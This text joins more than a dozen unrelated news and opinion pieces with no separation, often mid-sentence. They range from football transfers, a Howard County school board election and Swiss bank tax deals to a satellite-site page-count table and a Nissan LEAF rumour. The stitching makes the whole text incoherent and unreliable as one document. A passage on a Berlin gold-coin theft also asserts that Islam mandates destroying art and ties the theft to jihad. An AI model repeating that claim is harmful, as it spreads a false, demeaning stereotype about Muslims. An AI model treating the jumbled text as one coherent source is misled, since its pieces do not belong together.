Chester has forced his way on to Koeman’s wish list after delivering a string of impressive performances for the Tigers last term, which earned him a Wales call-up.
Hull chief Steve Bruce is resigned to losing a string of his top stars following the Yorkshire side’s relegation to the Championship - and Chester is already a prime target for a host of top-flight predators.
The Warrington-born defender, who can also operate at right-back, was a £300,000 snip from Manchester United four years ago.
(Image: John Peters)
But his valuation has soared after two impressive seasons in the top flight, and Saints have Everton, Aston Villa, Newcastle, West Brom and Crystal Palace as rivals for his signature.
Chester, who has a year left on contract at the KC Stadium, is eager to continue plying his trade in the Premier League.
And Hull are happy to cash in if their asking price is met.Capping a year that saw critics of the Howard County school system vow to sweep incumbents from the Board of Education, voters Tuesday appeared to do just that — electing a trio of newcomers to fill three available seats and potentially change the dynamics of the board.
With most of the county precincts tallied, voters had chosen challengers Kirsten Coombs, Christina Delmont-Small and Mavis Ellis to four-year terms on the board, ousting incumbent Janet Siddiqui, a Clarksville pediatrician who had been on the school board since 2007. Two other incumbents up for election this year were defeated in the primary.
“The hard work of many people paid off,” said front-runner Coombs. “Many people... sent a message that they are not happy with how their community schools are being operated. This is a vote of no confidence.”
Fatimah Waseem Shedding tears, school board Kirsten Coombs embraces her daughter, Lily, at an election night gallery. Coombs and fellow challengers Christina Delmont-Small and Mavis Ellis won seats on the Howard County Board of Education on Tuesday. Shedding tears, school board Kirsten Coombs embraces her daughter, Lily, at an election night gallery. Coombs and fellow challengers Christina Delmont-Small and Mavis Ellis won seats on the Howard County Board of Education on Tuesday. (Fatimah Waseem) (Fatimah Waseem)
Howard County has a seven-member school board, plus a nonvoting seat for a student member. The board is selected in a nonpartisan election, and three seats were up for election this year.
The new members will replace a trio that has often sided with a majority — and county schools Superintendent Renee Foose — on controversial policy decisions.
Over the past year, the school system has faced scrutiny from parents, teachers and elected officials. It is under a fiscal audit by the Howard County Council, as well as an investigation ordered by the state Senate regarding its response to public information requests.
In addition, parents have complained about issues related to the discovery of mold at Glenwood Middle School and a board decision in February — which the now-ousted incumbents supported — to give Foose a new four-year, $273,000-a-year contract.
During the primary election, several challengers emerged to face the incumbents, and five advanced to Tuesday’s general election, along with Siddiqui.
The Howard County Education Association, the county’s teacher union, campaigned for the challengers, with union President Paul Lemle calling the election a “referendum …on the current superintendent and board majority.”
Coombs, of Columbia, said Tuesday she believes the school board race sends a signal to Foose.
“It's time for Renee to update her resume,” Coombs said. Foose “has to know that she is the employee, not the employer [of the school board] and it's not a question of working with, but a question of how this new board majority manages the superintendent.”
A pupil personnel worker for Montgomery County Public Schools since 2001, Ellis has served on the boards of the Maryland State Education Association and National Education Association.
“I was impressed with the support by the teachers at the polls,” Ellis said late Tuesday. “I’m exhausted but I feel very positive. … This will change everything.”
Delmont-Small, former president of the PTA Council of Howard County, campaigned for increased accountability and transparency of the school board.
At the polls Tuesday, several people campaigned on anti-incumbent sentiments. Paul Verchinski, an Oakland Mills resident, was at Jeffers Hill Elementary School in Columbia encouraging voters to support Coombs, Delmont-Small, Ellis and fellow challenger Vicky Cutroneo.
Verchinski said he hoped for a “clean sweep” on the board to remove incumbents.
That feeling wasn’t universal, however. Barb Krupiarz, a mother of two students in county schools, was outside Ilchester Elementary School in Ellicott City, said she didn’t sense the same anti-incumbent sentiment that existed in the primary.
In Carroll County, four candidates were vying to fill two open school seats. Retired Carroll County schools teacher Marsha Herbert of Westminster and actuary Donna Sivigny of Finksburg defeated Howard County teacher Julie Kingsley of Mount Airy and former Carroll County schools instructional assistant Mary Kowalski.
In Anne Arundel County, voters were asked to approve or decline Gov. Larry Hogan's five appointees on the county Board of Education. Julie Hummer, Tom Frank, Eric Grannon, Terry Gilleland Jr. and Maria Sasso all had wide support with most of county precincts reporting.
Baltimore Sun Media Group reporters Andrew Michaels, Cindy Huang and Emily Chappell contributed to this article.FILE - In this June 30, 2013 file photo, Brazil soccer fans celebrate their team's first goal against Spain at the final Confederations Cup soccer match as they watch the game on a screen in downtown Sao Paulo, Brazil. Brazilian fans hoping for a home-team win at this year's World Cup are hoping just as hard that archrival Argentina does not lift the trophy.(AP Photo/Nelson Antoine, File)
RIO DE JANEIRO (AP) — For Brazilians, not winning the World Cup would be bad enough.
Even worse would be bitter rival Argentina winning in Brazil where 200 million locals are expecting to celebrate.
"This would be every Brazilians worst nightmare," said Newton Cesar Santos, the Brazilian author of a 600-page history of the Brazil-Argentina rivalry — Brazil X Argentina: Stories of the Biggest Classic in World Football.
"Let anybody win, but not Argentina."
There are many intense football matchups: The Netherlands vs. Germany and England vs. Scotland. But none rivals Brazil vs. Argentina.
Some of Brazil's national self-esteem rests on being the world's lone football superpower. It's the only country to have played in every World Cup and won the most title — five. The South Americans set the standard for flair, and 73-year-old Pele remains the game's most famous brand.
It wasn't always this way.
It the early history of football, it was Argentina that was the power in South America. The game arrived there before it did in Brazil. But that changed when Brazil won the 1958 World Cup, long before Argentina won its first of two — and a highly disputed victory, at that — 20 years later.
"Argentina was always much more developed than Brazil," Santos explained. "Argentina didn't have slavery, we did. They had industry. They had everything first. As a country, we admitted we were a kind of second-class country compared to Argentina."
In truth, football has delivered where politicians have failed. Both countries have been through economic instability, dictatorships, coups, and runaway inflation. But the football has usually been world class.
Brazil has Pele, Argentina has Maradona and the debate about who is better never ends.
The records? It depends whose record.
The Argentine Football Association and the Brazilian Football Confederation have slightly different results. Santos has kept his own record.
"Brazil and Argentina records disagree about what is an official match or not," Santos said. "Of course, each has a record that favors its national team."
Santos calculates that from over 99 matches, Brazil has won two more.
Santos says the first official match was Sept. 27, 1914 in Buenos Aires, which Brazil won 1-0.
Argentina fielded its first national team in 1902, according to Santos, 12 years ahead of Brazil.
"Amazingly, people have not paid that much attention to the numbers," Santos said. "Everyone knows it's very even."
Santos says there is a sector of Brazilian society hoping for Brazil to lose in the World Cup.
"They are against this government and they figure a loss could create instability, more demonstrations and force social changes," he said.
The reality of this year's World Cup is that while Argentina may have a better team and an easier draw, Brazil has the advantage of playing at home.
Brazil is placed among the favorites with Spain, Argentina and Germany, in part because it's the host nation.
Brazil's problem is the draw and, although the team led by young forward Neymar is good, few rank it as one of Brazil's greatest. Its chances of winning are given as probably 25 percent. Not great odds.
Brazil has a relatively easy four-team group with Mexico, Croatia and Cameroon, but is likely to face either Spain or the Netherlands in its first game of the knockout stage. Next up could be one of three former World Cup champions — Uruguay, Italy or England.
Argentina has the world's top player in Lionel Messi and an easier draw with Bosnia Herzegovina, Iran and Nigeria, and may not face a difficult match until the quarterfinals.
Many Brazilians fear what may happen in the streets if Brazil is eliminated, particularly if it happens before the final.
"I think if Brazil loses early, or does anything but win, people will come out and express their frustration," said Marta Nagai, a Brazilian physician working in Rio. "All the issues about the big spending will be questioned."
And of course Argentines would like nothing better than to see Brazil fold. If it's in the final at the Maracana, all the better.
It happened in 1950, the last time Brazil hosted the World Cup. Brazil lost the deciding match of the final group stage to Uruguay 2-1, a loss that's never forgotten in Brazil lore.
"The most beautiful thing that can happen this year is Argentina winning the World Cup in Brazil," said Celia Dominguez, who works in a dental office in Buenos Aires. "To make it even better. Let's have Argentina win the final against Brazil with Messi scoring a penalty in the final minute. This is just to make the Brazilians suffer more."
___
Associated Press Writer Vicente Panetta in Buenos Aires contributed to this report.
___
Follow Stephen Wade on Twitter: http://twitter.com/StephenWadeAPThree hours after qualifying had finished, Rosberg was summoned to the stewards for a potential breach of yellow flag rules during Q3.
The German took pole position for Sunday's race despite the yellow flags being out on his fastest lap at the end of the session.
Fernando Alonso had spun on the exit of Turn 9 on his final lap in Q3, and with his car sideways across the kerbs, the yellow flags had been brought out.
That forced Rosberg's main challenger Lewis Hamilton to back off totally on his last effort.
Rosberg was running well behind Hamilton on track, and by the time he arrived at the incident Alonso had already got going again.
And although the yellow flags were out, Rosberg lifted and lost a small amount of time to acknowledge that he was aware that there was an incident there. However, despite lifting off the throttle, Rosberg still set a fastest sector time.
"For sure, there were double-waved yellows, but I had a very, very big lift," Rosberg insisted in the post-qualifying press conference.
"I lost a lot of time as a result and, also slower than on my previous lap in that yellow segment, so I am sure it will be okay."
After a brief meeting, in which it examined video and telemetry evidence as well as Rosberg's testimony, stewards concurred that Rosberg had done nothing wrong.
Its statement read: "The telemetry demonstrated that the drivers reduced speed significantly into turn 8."
Don’t miss our Hungarian GP video preview…The committee tossed back and forth about how to answer Kelley’s concerns, finally agreeing to a simple word change in the bill that would resolve many of their concerns.
"Ethnic studies" includes, but is not limited to, the experiences of African Americans, Asian Americans, Hispanics, Latinos, Native Americans and other racialized peoples
The original text, listed above, was successfully altered by the committee to remove the word “not” and change “but” to “and”, so that Ethnic studies IS limited to those specialized categories. This move was made at the behest of several representatives who wanted to make sure that teaching about Islam, or other faiths would not occur within Kansas’ schools.
Representative Lunn, however, was very sympathetic to the concerns of Representative Kelley and others, and decided that other changes needed to be made.
x.@sincpack Yes it did. Another by Lunn as well. No Muslims, no social justice. — Mark Desetti (@desettiks) February 15, 2016
The amendment that had them up in arms? It reads as follows:
Textbooks and supplemental materials that contain substantive information but do not promote social justice remedies
will be approved for the future of coursework. In other words, teaching about social justice remedies in the classroom will likely run afoul of the proposed standard. This puts forward a serious risk, as teachers in the room had significant concerns. How do you teach about desegregation, Women’s Suffrage, or Civil Rights?
Without being able to reference texts and material which discuss a social justice solution, teachers may be stuck.
While Representative Kelley and others may be concerned about what they perceive as disproportional time allotted to Black History, the ability today to significantly impact how we teach it may be good enough. Representative Valdenia Winn (D-Kansas City), pointed out “I don’t think social justice means what you think it means,” pointing out she would offer searches from Google to the committee.
But making sure “Sharia Law” and “Social Justice” do not get taught in schools today became far more important than the goal of the bill, to teach young students about diversity in the history of the world.
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If you have a location or story that needs support from Connect! Unite! Act!, please let us know by kosmail or email.Republicans took over Congress with claims that they would Take Charge And Get Stuff Done. It's not so easy, they're finding. For one thing, Senate Democrats aren't going to unilaterally disarm and forego the filibuster that Republicans used so aggressively while in the minority. But divisions among Republicans are also turning out to be a major stumbling block.
Case in point: funding the Department of Homeland Security. House Republicans want to use the funding to demand deportation of immigrants. But even if they didn't have to contend with Democrats, Senate Republicans aren't all entirely on board with that. That sets up conflict between House and Senate Republicans. DHS funding needs to be passed by February 27, a date that's coming up fast when you consider that Congress will be in recess the week of February 16. Responsibility is on Republicans, but the extremists of the House don't want to accept that:
Some Republicans acknowledge that the immigration aspects of the Homeland Security bill will have to be stripped out. The question they cannot resolve is how to get conservative lawmakers to realize that. Some have suggested that the repeated Senate votes that all end the same way, in defeat, will help drive that point home. Part of the problem that some Senate Republicans find so frustrating is that their colleagues in the House do not always seem to appreciate that a majority in the Senate does not mean that the party controls every outcome.
“Senator McConnell is trying to win the fight that we won in the House,” Boehner said. “The House fought this fight, we won this fight. Now it’s time for Senate Democrats to work with Senate Republicans to stop the president’s unilateral actions with regards to immigration.”
House leaders are digging in But McConnell can't win that fight and the House of Representatives doesn't automatically get to dictate to the Senate and the president, no matter how much John Boehner pretends that's the case. And the thing about being in control is, when necessary things don't get done or bad things happen, people hold you responsible. Unfortunately for Republicans, responsibility is a concept they've spent the last several years rejecting, so this may be an ugly adjustment.MSNBC host Thomas Roberts on Monday said his network was not doing enough to dispel myths that women who used birth control were “sluts,” immigrants just came to the United States to have “anchor babies” and LGBT people were pedophiles and disease carriers.
In the wake of the George Zimmerman not guilty verdict, Roberts was joined by MSNBC hosts Melissa Harris-Perry and Toure on Monday to discuss what the case’s racial aspects meant for the social contract in America.
Roberts noted that defense attorney Mark O’Mara had asserted over the weekend that Zimmerman never would have been charged if he had been black.
“That is the most absurd assumption that we have heard throughout this,” Toure pointed out.
“Trayvon [Martin] wouldn’t be dead if he were white,” Roberts agreed.
“If George Zimmerman had been black, well, he would have been dealing with the mass incarceration of black people that we have in this country when we’re over arresting — we can talk about stop-and-frisk in New York, that policy goes out, throughout the nation, many other places — over arrested, over prosecuted, over convicted, over sentenced once convicted,” Toure observed. “I mean, this idea that if George Zimmerman were black then suddenly he would invoke, what, black privilege and not have to go through all this? That’s absurd.”
Roberts then used the Zimmerman verdict as a platform to launch a larger discussion about the way “others” are treated in the U.S.
“When we talk about these laws, don’t we need to do more about our social contract with each other in this country when it comes to being ‘others’?” the MSNBC host asked. “Because when we look at this we can use this as a great pivot point to talk about race relations in this country. But being an ‘other,’ whether it’s LGBT — because you’re then suspected of being a pedophile and a rabid disease carrier. And if you are a woman, well, you certainly don’t have a right to your own body and your own reproductive health. Because if you do then you’re just a slut who wants to sleep around and use abortion as birth control. And then if you’re Hispanic, you’re just a taker, you’re not a maker, and you want to come here and have anchor babies and you just want to lay off the land [sic].”
“And I want to challenge this network,” Roberts continued. “We have to have an ‘I am other’ agenda and have a forum for it because ‘others’ need to unite to talk about this and figure out where we’re going as a country. The social contract we have currently negotiated that is so wrong, and how this is happening in a country where we have this huge group of people that supposed to be a melting pot that we treat each other with such disdain that it’s not even funny.”
“Amen!” Toure replied.
“I will absolutely take you up on that challenge,” Harris-Perry noted. “If we can convince the folks where we work, I will happily co-host with you a long-term town hall special around around this or anything else.”
“Let’s do it!” Roberts exclaimed, later concluding that that the Zimmerman verdict would “damn well” lead to deeper discussions about race in America if the MSNBC hosts had their way.
Watch this video from MSNBC, broadcast July 15, 2013.About a hundred Swiss banks will avoid prosecution by divulging the names of US clients who have allegedly avoided tax by using secret accounts. The banks could face fines of up to 50 percent of the asset value if they provide full disclosure.
The settlement will apply to second-tier Swiss banks and will be open to banks not already under a US criminal investigation. This rules out the second-largest Swiss bank, Credit Suisse; the largest European bank HSBC Holdings Plc and Julius Baer Group Ltd, as well as several regional banks.
Under the deal, each bank will set its own non-prosecution or deferred-prosecution agreement with the US authorities. "The program is intended to enable every Swiss bank that is not already under criminal investigation to find a path to resolution," the US Department of Justice said in a statement.
The fines are set to reach up to 50 percent of the aggregate value of any undeclared accounts held by wealthy Americans, depending on the time the accounts were opened. To decide whether they can afford paying billions of dollars in fines and participate in the deal, Swiss banks will have to assess the cost of potential penalties versus the risk of US prosecution.
"It's a choice between two evils," a tax lawyer with Poledna Boss Kurer AG in Zurich, Walter Boss, told Reuters. If they don't cooperate with the US, the US might indict them," he stated.
It's hoped the breakthrough agreement with the world’s largest off-shore financial center with about $2.2 trillion of assets will boost the US campaign against tax evasion by citizens hiding their funds abroad. It means, Switzerland will finally cease to be a "secret banking heaven" for Americans out of reach of US tax authorities.
"This program will significantly enhance the Justice Department's ongoing efforts to aggressively pursue those who attempt to evade the law by hiding their assets outside of the United States," US Attorney General Eric Holder said in a statement.
"In addition to strengthening our partnership with the Swiss government, the program's requirement that Swiss banks provide detailed account information will improve our ability to bring tax dollars back to the US Treasury from across the globe," he added.
Some unidentified Swiss banks who are not cooperating with the US justice system, could face punishment, the Attorney General has warned, saying that the agreement creates "significant risks for individuals and banks that continue to fail to cooperate, including for those Swiss banks that facilitated US tax evasion but fail to cooperate now, for all US taxpayers who think that they can continue to hide income and assets in offshore banks, and for those advisors and others who facilitated these crimes."
The Swiss Bankers Association said the deal "enables all banks in Switzerland to settle their US past quickly and conclusively and creates the necessary legal certainty."
In May, the Swiss government agreed to meet US demands and disclose bank client names in a bid to resolve the long-standing tax-evasion dispute between the two countries.
Over a dozen Swiss banks are said to be under the US investigation, with the authorities searching for funds hidden in bank accounts in giants like Credit Suisse. The US Attorney's Office has been reportedly investigating Credit Suisse over mortgage-backed securities sold by the bank. In November, the bank settled the case without admitting wrongdoing and it agreed to a $120-million settlement with the US Securities and Exchange Commission over civil charges stemming from the bank's sale of risky mortgage bonds to investors before the crisis.
Earlier this year the Swiss government also ordered its third largest private bank, Julius Baer, to hand over data on US clients.
In January Switzerland’s oldest private bank, Wegelin & Co, said it would close down for good after over 250 years, following its guilty plea to charges of helping prosperous Americans hide more than $1.2 billion from the Internal Revenue Service through secret accounts.
The US authorities’ biggest success so far came in 2009 when Switzerland’s largest bank, UBS, agreed to give away some 4,450 client names and paid a $780 million settlement after admitting to selling tax-evasion services to Americans.The BBC calls the perps an “Arab crime family.” Uh huh. The New York Times doesn’t mention their ethnicity — only saying, “Around 300 German police officers and members of the special forces, heavily armed and wearing masks, made the four arrests on Wednesday, mostly in the Neukölln neighborhood, which is populated with large communities of immigrants and hipsters.”
Was it hipsters?
“We assume that the coin was sold, either complete or in parts,” Carsten Pfohl, a spokesman for the Berlin state criminal office, said at the news conference. “I unfortunately have relatively little hope that we will find the coin, even in pieces.”
Destroying art — a tenet of Islam. They were merely acting in accordance with the sharia.
Western museums are key targets in the jihad against the West.
Related: UK Museums Put on ISIS Alert: Report
Dr Warner explains:
“It is the purpose of Islam to destroy all art because it is Jahiliyyah” explains Dr. Bll Warner. The attacker intended to damage or destroy some of the priceless works of art that are exhibited in the most renowned art museum in the world. His intent was to destroy the finest art of Western civilization. Why art? Art that involves animals or humans is forbidden in the Sharia. Art is the work of Kafirs and is part of jahiliyya (civilization of ignorance). Islam annihilates a civilization piece by piece and leaves nothing of its native roots. Civilizational jihad destroys the very cultural history of every nation it comes into contact with. We see the jihadist annihilation of museums and ancient architecture for the same reason. This civilizational war has been this way for 1400 years.
For those who study the Islamic theology and law, the attempt is no surprise. Islam mandates the destruction of art and other artifacts created by infidels, because they represent the jahiliyyah, the “time of ignorance” before Mohammed brought the word of Allah to his disciples.
Four Are Arrested in Theft of Giant Gold Coin From Berlin Museum By David Shimer, New York Times, July 12, 2017 BERLIN — A giant gold coin that was stolen from a museum in the heart of Berlin this year was probably smashed or melted down and will most likely never be recovered, the authorities said on Wednesday, as they announced four arrests, including that of a museum security guard. Early on the morning of March 27
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on DVD.
“The DVD market was slipping when we made the deal, but, on the other hand, the slippage of DVD sales isn’t a cliff, it’s sort of a slope,” Corman said. “The hill is sloping downward, but it’s not dead. There’s still money to be made and Shout has done just that.”
The company is popular with talent, because its small size allows it to lavish attention on the box sets it makes. In an age where many studios are cutting back on bonus features, Shout! Factory has gone to other way — loading its discs with special interviews and outtakes and outfitting packages with exhaustively researched liner notes.
With Corman, that meant enlisting big-name directors like Jonathan Demme and Ron Howard to sit down for interviews about their early years working under the cult movie giant. In the case of Brooks, it meant culling through his decades of show business to assemble a compendium of everything from his appearances with talk show legends like Johnny Carson and Dick Cavett to a PBS Special about the origins of his 2,000 Year Old Man routine with Carl Reiner.
“They were like Sherlock Holmes when it came to hunting for and finding obscure and rare interviews,” Brooks said. “They found me singing ‘High Anxiety’ in French for some French marketing of the film. Every time I meet with them I know they've done their homework.”
Although Shout! Factory has its eye on the pop culture past, it would not be able to turn a profit were it not for the Internet, analysts and executives argue.
The Foos brothers and Emmer said their team routinely uses the Internet to look for properties that have active fan sites and followings. Then they use the web to market directly to people with the fondest memories of these movies and shows without having to spend big bucks on expensive print and television advertising.
At least that’s how it worked for Joel Hodgson, who entrusted the team at Shout with first untangling a complicated web of licensing issues and then finding an audience for “Mystery Science Theater,” the satiric television series about a man and his robot sidekicks who are forced to watch some of the worst B-movies ever made.
“It’s more famous now than it ever was on TV,” Hodgson said. “Part of it has to do with being a comedy nerd. That happens for most people at 11 or 12 years old and because of the Internet, these episodes are all over YouTube. And Shout! Factory has catered to that and it has just given the show a nice long life.”
Before the digital revolution, getting stores to stock up on cult films and shows would have been a losing proposition for Shout. Now, with e-commerce giants like Amazon and Vudu, retailers' capacity has become infinite and so has their tolerance for niche products.
“For Internet retailers, there are unlimited opportunities when it comes to shelf space,” Tom Adams, an analyst with IHS Screen Digest, told TheWrap. “Ten years ago a place like Best Buy would only have had room for 5,000 or 6,000 titles. There’s no way they would have been stocking up on ‘The Many Loves of Dobie Gillis.'”
However, the Shout team recognizes that the Internet generation is a fickle one and that even the most profitable business can find itself undone by digital upstarts. It’s moving beyond the Golden Age of television into cartoon shows dating from the 1980s to the present, hoping that it can exploit the childhood memories of a rising generation of consumers.
To combat this demographic’s shifting consumption habits, the company has been making a concerted effort to lock up digital rights with more than 80 percent of its new signings including deals for control of those platforms. Last summer, Shout! Factory acquired three entertainment apps, called the Video Time Machine, the Political Time Machine and the Holiday Time Machine, which allow users to access videos from more than a century ago — ranging from movies to music to political speeches. Given Shout's emphasis on entertainment of the past, the appeal of this kind of product is self-evident.
Thanks to this technological push, Shout predicts that digital sales and licensing will rise to 15 percent of its overall business from 10 percent this year.
“We don't have our heads in the sand,” Garson Foos said. “We know that we have to focus on revenue streams other than physical.”
“How do we get relevant in the digital age?” Richard Foos said. “At a time when all this content is available on YouTube and elsewhere, you still need somebody to be a curator and to help you narrow it all down for you to the stuff you’ve just got to see. We’re those guys.”Daily page counts Page Hits Wed Thu Fri Sat Sun Mon Tue Total 619,163 604,458 630,225 572,942 613,994 629,075 637,281 Iridium Flares 149,973 146,867 150,244 145,998 145,009 147,887 145,424 Satellite Information 93,096 101,811 102,618 94,636 115,332 135,814 100,144 Pass Details 92,136 79,119 80,328 76,531 69,972 77,266 75,347 Orbit 47,741 49,225 49,160 44,690 49,175 46,730 40,781 Pass Listing 60,420 35,975 66,634 38,135 39,274 38,951 40,151 Page quota exceeded warning 11,461 26,817 19,154 32,094 20,308 12,201 37,828 Home 19,664 21,994 20,095 18,100 21,882 26,494 28,277 Ground track 17,472 17,719 18,024 18,127 27,975 18,771 20,419 Hipparcos Star Catalog Entry 19,343 18,125 20,698 14,590 26,893 17,998 20,042 Daily predictions for brighter satellites 8,763 10,100 9,657 10,854 8,331 10,331 14,020 Select location 6,967 7,030 6,558 7,171 6,758 10,887 9,734 Asteroid 7,992 7,645 7,322 6,922 7,759 7,225 7,557 Close Encounters 9,752 9,274 9,834 7,541 10,289 8,378 6,993 Sun 5,292 4,735 5,048 5,042 4,869 5,094 5,989 Dynamic data for sky chart 8,147 6,005 7,263 4,212 3,733 5,645 5,825 Sky chart (old version) 3,846 4,446 3,238 2,911 3,297 3,990 5,391 Constellations 5,079 5,046 4,602 3,627 5,703 4,383 5,276 Satellite database 2,671 3,311 3,260 2,272 3,105 2,777 4,491 Moon 4,205 3,618 3,852 3,295 3,221 3,351 4,275 Planets 2,734 2,563 2,562 2,710 2,837 2,765 4,008 Interactive sky chart (now with PDF print option) 3,315 3,586 3,205 2,784 3,080 3,426 3,810 Comet 2,690 3,175 2,809 2,778 3,564 3,434 3,379 Login 2,850 3,178 2,269 2,063 2,563 3,085 3,027 Iridium Flare Details 1,943 1,839 2,000 2,022 2,215 4,844 2,814 Mythology 2,365 2,214 2,221 1,796 2,805 2,523 2,723 Solar Eclipses 1,532 1,341 1,417 937 1,450 1,411 2,579 ISS Interactive 3D Visualization 2,509 2,037 2,296 1,864 1,896 2,262 2,577 Amateur Radio Satellites - All Passes 2,496 1,953 2,074 1,660 1,344 1,444 2,267 Comets 1,717 1,522 1,889 1,420 1,452 1,579 2,201 Solar system chart 1,100 1,759 1,483 1,565 989 976 1,962 Frequently asked questions (FAQ) 792 705 676 621 584 597 1,825 Spacecraft escaping the Solar System 1,019 995 927 845 916 1,019 1,641 Asteroids 1,098 1,096 1,080 818 867 908 1,633 Height of the ISS 1,410 1,551 1,058 770 1,000 1,024 1,615 What time is it? 899 894 1,082 848 768 851 1,481 Europe Visitor Distribution 1,364 1,642 1,261 567 909 1,008 1,461 World Visitor Distribution 1,263 1,627 959 625 929 1,039 1,402 Height of Tiangong-1 1,066 1,339 779 553 710 686 1,397 Interactive Animation of Tesla Roadster Trajectory 781 644 662 506 561 679 1,362 Links to other sites 860 865 695 486 643 665 1,349 USA Visitor Distribution 1,097 1,391 788 540 860 893 1,346 Calendar 726 744 649 519 511 509 1,287 Visits by language 668 645 557 493 461 459 1,255 Visits by country 649 624 710 737 456 465 1,254 Visits by operating system and browser type 637 595 557 450 453 425 1,234 Daily page counts 604 529 661 689 440 455 1,181 Privacy policy 547 600 638 416 355 354 1,179 General Circumstances 485 438 575 338 823 680 582 Static data for new sky chart 479 434 468 385 452 649 517 Imprint 525 415 495 554 437 543 505 Edit configuration 577 436 409 511 614 582 502 Local Circumstances 147 134 229 158 300 282 349 Iridium Help 270 298 241 261 313 278 321 Solar Eclipse Animation 104 123 143 69 144 130 313 Interactive Map 81 93 119 83 119 148 307 Create user account 266 214 186 215 264 224 198 Reset password 78 50 72 94 75 76 99 Heavens-Above for Mobile Devices 123 77 108 92 90 110 92 Call for translators 48 37 38 46 40 33 50 Asteroid 2012 DA14 Flyby 32 38 25 38 75 53 39 Live Ground Track of Tiangong-1 44 58 47 29 19 32 38 Close Encounter Details 1,063 958 1,391 1,099 1,586 1,132 25 Change password 10 13 8 13 17 17 24 Select location from database 6 21 16 5 22 9 22 Juno Flyby 5 9 12 14 8 24 19 Juno Flyby Finder Chart 6 12 7 3 26 15 18 Orbital height history 19 36 23 18 12 23 12 Observations, sorted by observer 8 15 28 24 11 27 10 Select location 11 12 7 14 14 12 8 Help 5 4 7 15 6 9 6 Mobile web site 11 10 7 17 10 16 6 Make a donation 2 1 1 1 5 1 2 Mars 2 1 1 1 0 5 2 Edit your location manually 1 1 0 2 1 0 1 Venus 0 0 0 0 2 0 1 Configuration editor 0 1 0 0 0 0 0 Help for translators 1 0 0 1 0 0 0 Uranus 0 0 0 1 0 0 0 Dynamic data for mobile pages 0 0 0 0 0 1 0 Venus Transit 0 0 0 0 0 1 0 Change security question and answer 0 0 0 0 0 0 0 Mercury 0 0 2 2 0 0 0 Static data for mobile pages 0 0 0 0 0 1 0 Create new user account 1 1 0 1 0 0 0 [/nea_flyby.aspx.title] 0 0 0 0 0 1 0 Neptune 0 0 2 1 0 1 0 Edit Observation 0 0 0 0 0 0 0 Observations 0 0 0 0 0 0 0 Observations list 0 0 0 0 0 0 0 Select current observing site 0 1 0 0 0 0 0 Select observations 0 0 0 0 0 0 0 Earth 0 0 0 1 1 0 0 Saturn 0 0 0 0 1 0 0 Message about overloading 1 1 0 3 0 1 0 Thanks for your donation 0 0 0 0 0 0 0 Pluto 0 0 1 1 2 0 0 Why register 0 0 0 0 1 1 0 Jupiter 1 1 4 2 1 0 0Mr Panetta, accompanied by Israeli Defence Minister Ehud Barak, inspected an honour guard at the Israeli Defence Ministry in Tel Aviv before the two held a private meeting.
Speaking at a news conference, Mr Panetta denied reports that he would discuss possible military attack plans against Iran and said instead he would be talking about "various contingencies".
Western powers believe Iran is seeking the technology to build a nuclear bomb and Israel has repeatedly hinted it might use force to try to halt its arch foe's atomic programme. Tehran says its nuclear work is for peaceful purposes.
The US has said it is determined to prevent Iran from getting the bomb, but has called on Israel to give more time for increasingly severe economic sanctions to work.
Top selling Israeli daily Yedioth Ahronoth said that Mr Panetta intended to show Israeli leaders the plans being drawn up by the Pentagon to stop Iran, if diplomacy and sanctions failed to persuade Tehran to halt its nuclear programme.
Israeli Prime Minister Benjamin Netanyahu said he had not yet decided whether to attack Iran's nuclear facilities, dismissing repeated media reports that the military objected to such an operation against far-flung, fortified Iranian sites.
The Israeli army chief, Benny Gantz, told reporters near Tel Aviv earlier in the day that the Israeli Defence Forces (IDF) were ready to attack Iran if ordered to.
Mr Panetta is scheduled to meet Mr Netanyahu and President Shimon Peres during his stay in Israel, part of a broader trip to the Middle East and Africa.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Sen. Rand Paul tried to convince America that Obama is committing a crime, but instead he fell flat on his face and showed the world that he doesn’t know what the president actually does.
Video from Fox News:
Watch the latest video at video.foxnews.com
Sen. Paul was trying to build the case that it is illegal for President Obama to delay parts of the ACA when his intellectual choo-choo went off the tracks. Paul said, “The way our country works is that legislation is written by Congress, passed by your representatives, the president doesn’t get to write legislation, and it’s illegal and unconstitutional for him to change legislation himself.”
Rand Paul doesn’t understand what the role of the president is. The Executive Branch is in charge of implementing the law. The whole problem with Sen. Paul’s argument is that he referred to the ACA as legislation, but it isn’t legislation. The Affordable Care Act is the law, and Executive Branch has been constitutionally given the power to implement the law. These sorts of delays in implementation are common. Both Democratic and Republican administrations have used them.
The Supreme Court has found that it is constitutional for the Executive Branch to delay the implementation of a law, “As held by former Chief Justice William Rehnquist in a leading case on this subject, Heckler v. Chaney, courts must respect an agency’s presumptively superior grasp of “the many variables involved in the proper ordering of its priorities.” Chief Justice Rehnquist suggested that courts could lose their deference to Executive Branch judgment if an “agency has consciously and expressly adopted a general policy that is so extreme as to amount to an abdication of its statutory responsibilities.” The Obama Administration has not and is not about to abdicate its responsibility to implement the statute on whose success his historical legacy will most centrally depend.”
This means that Rand Paul exhibited not only an ignorance of the constitution, but I think the Kentucky senator doesn’t know what the Executive Branch actually does. The president doesn’t write or change legislation. He implements the law. The law is not legislation. The Executive Branch can’t rewrite it. How can President Obama be both breaking the law, and rewriting legislation at the same time on the ACA? The ACA can’t be both legislation and a law, so which is it? As soon as President Obama signed it, the ACA was a law.
Rand Paul’s ignorance of the how the government that he is supposed to be serving in works is astounding. Rand Paul wants to be president. He will be running for the Republican nomination in 2016, and lots of Republicans will probably vote for him.
Paul symbolizes the ignorance of a political opposition that is completely clueless about how their government operates. Anybody who stands with Rand should be forced to wear an I’m With Stupid t-shirt.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:140-Mile Nissan LEAF (40 kWh) Coming For 2017 (Rumor)
July 16th, 2016 by Zachary Shahan
I love the Nissan LEAF, and there are a lot of people with me on that, but there’s no doubt about it: the coming 200-mile Chevy Bolt and 215-mile Tesla Model 3 are eating into LEAF sales quite a bit. It seems everyone is itching to find out how Nissan will respond … and how fast.
While many of us were hoping Nissan would roll out a 200-mile electric car in the coming few months, it seems the reality is much closer to the scoop I landed approximately one year ago.
Last October, I was told that the 2017 Nissan LEAF would have 130 miles of range and the 2018 Nissan LEAF would have 150 miles of range — interestingly, “to keep up with BMW.”
